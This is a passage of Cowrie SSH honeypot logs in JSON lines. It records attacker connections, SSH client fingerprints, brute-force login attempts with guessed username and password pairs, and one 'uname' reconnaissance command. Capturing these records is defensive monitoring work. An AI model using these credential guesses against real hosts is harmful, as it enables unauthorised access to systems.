a-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:43:33.305400Z","src_ip":"45.134.9.27","session":"4b7281c150a7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:43:33.601788Z","src_ip":"45.134.9.27","session":"4b7281c150a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:43:33.667921Z","src_ip":"45.134.9.27","session":"4b7281c150a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:43:33.671748Z","src_ip":"45.134.9.27","session":"1fc2ef9d77f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":33462,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c0a014c8ce1","protocol":"ssh","message":"New connection: 14.225.2.125:33462 (10.17.0.5:22) [session: 6c0a014c8ce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:44:19.513469Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:44:19.795422Z","src_ip":"14.225.2.125","session":"6c0a014c8ce1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":33464,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b3384a09966","protocol":"ssh","message":"New connection: 14.225.2.125:33464 (10.17.0.5:22) [session: 2b3384a09966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:44:20.058394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:44:20.062982Z","src_ip":"14.225.2.125","session":"2b3384a09966","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:44:20.332109Z","src_ip":"14.225.2.125","session":"2b3384a09966","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"QAZWSXEDC","message":"login attempt [root/QAZWSXEDC] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:44:21.136333Z","src_ip":"14.225.2.125","session":"2b3384a09966","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:44:21.711051Z","src_ip":"14.225.2.125","session":"2b3384a09966","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:44:21.714486Z","src_ip":"14.225.2.125","session":"2b3384a09966","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:44:21.985550Z","src_ip":"14.225.2.125","session":"2b3384a09966","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:44:21.989844Z","src_ip":"14.225.2.125","session":"2b3384a09966","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.95.173","src_port":54544,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4fad18bbf67","protocol":"ssh","message":"New connection: 20.244.95.173:54544 (10.17.0.5:22) [session: f4fad18bbf67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:44:28.080538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:44:28.085398Z","src_ip":"20.244.95.173","session":"f4fad18bbf67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:44:28.297931Z","src_ip":"20.244.95.173","session":"f4fad18bbf67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"library","password":"library","message":"login attempt [library/library] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:44:28.727359Z","src_ip":"20.244.95.173","session":"f4fad18bbf67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:44:29.942365Z","src_ip":"20.244.95.173","session":"f4fad18bbf67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":60310,"dst_ip":"10.17.0.5","dst_port":22,"session":"98696fe16e5d","protocol":"ssh","message":"New connection: 2.57.122.208:60310 (10.17.0.5:22) [session: 98696fe16e5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:44:36.018876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:44:36.205881Z","src_ip":"2.57.122.208","session":"98696fe16e5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:44:36.210974Z","src_ip":"2.57.122.208","session":"98696fe16e5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:44:36.925590Z","src_ip":"2.57.122.208","session":"98696fe16e5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:44:38.030906Z","src_ip":"2.57.122.208","session":"98696fe16e5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.81.72.185","src_port":53548,"dst_ip":"159.203.135.109","dst_port":22,"session":"89042e1dbd28","protocol":"ssh","message":"New connection: 34.81.72.185:53548 (159.203.135.109:22) [session: 89042e1dbd28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:45:16.192068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:45:16.196687Z","src_ip":"34.81.72.185","session":"89042e1dbd28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:45:16.388900Z","src_ip":"34.81.72.185","session":"89042e1dbd28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"1qaz@WSX","message":"login attempt [ftpuser/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:45:17.192664Z","src_ip":"34.81.72.185","session":"89042e1dbd28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.134.9.27","src_port":53694,"dst_ip":"159.203.135.109","dst_port":22,"session":"f05e94007cd3","protocol":"ssh","message":"New connection: 45.134.9.27:53694 (159.203.135.109:22) [session: f05e94007cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:45:18.219150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:45:18.224121Z","src_ip":"45.134.9.27","session":"f05e94007cd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:45:18.301592Z","src_ip":"45.134.9.27","session":"f05e94007cd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:45:18.388683Z","src_ip":"34.81.72.185","session":"89042e1dbd28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"macha","password":"macha","message":"login attempt [macha/macha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:45:18.587250Z","src_ip":"45.134.9.27","session":"f05e94007cd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:45:19.652569Z","src_ip":"45.134.9.27","session":"f05e94007cd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.94.117","src_port":57598,"dst_ip":"159.203.135.109","dst_port":22,"session":"3df9bb4d32bf","protocol":"ssh","message":"New connection: 103.59.94.117:57598 (159.203.135.109:22) [session: 3df9bb4d32bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:45:40.146090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:45:40.150871Z","src_ip":"103.59.94.117","session":"3df9bb4d32bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:45:40.399136Z","src_ip":"103.59.94.117","session":"3df9bb4d32bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"macha","password":"macha","message":"login attempt [macha/macha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:45:41.462590Z","src_ip":"103.59.94.117","session":"3df9bb4d32bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:45:42.713778Z","src_ip":"103.59.94.117","session":"3df9bb4d32bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":37980,"dst_ip":"10.17.0.5","dst_port":22,"session":"013a1cfb13bd","protocol":"ssh","message":"New connection: 103.13.206.100:37980 (10.17.0.5:22) [session: 013a1cfb13bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:46:03.260092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:46:03.264741Z","src_ip":"103.13.206.100","session":"013a1cfb13bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:46:03.490666Z","src_ip":"103.13.206.100","session":"013a1cfb13bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dave","password":"Dave123!","message":"login attempt [dave/Dave123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:46:04.428511Z","src_ip":"103.13.206.100","session":"013a1cfb13bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:46:05.656092Z","src_ip":"103.13.206.100","session":"013a1cfb13bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":36372,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6750ee93c91","protocol":"ssh","message":"New connection: 2.57.122.208:36372 (10.17.0.5:22) [session: d6750ee93c91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:46:46.075033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:46:46.082064Z","src_ip":"2.57.122.208","session":"d6750ee93c91","protocol":"ssh"}
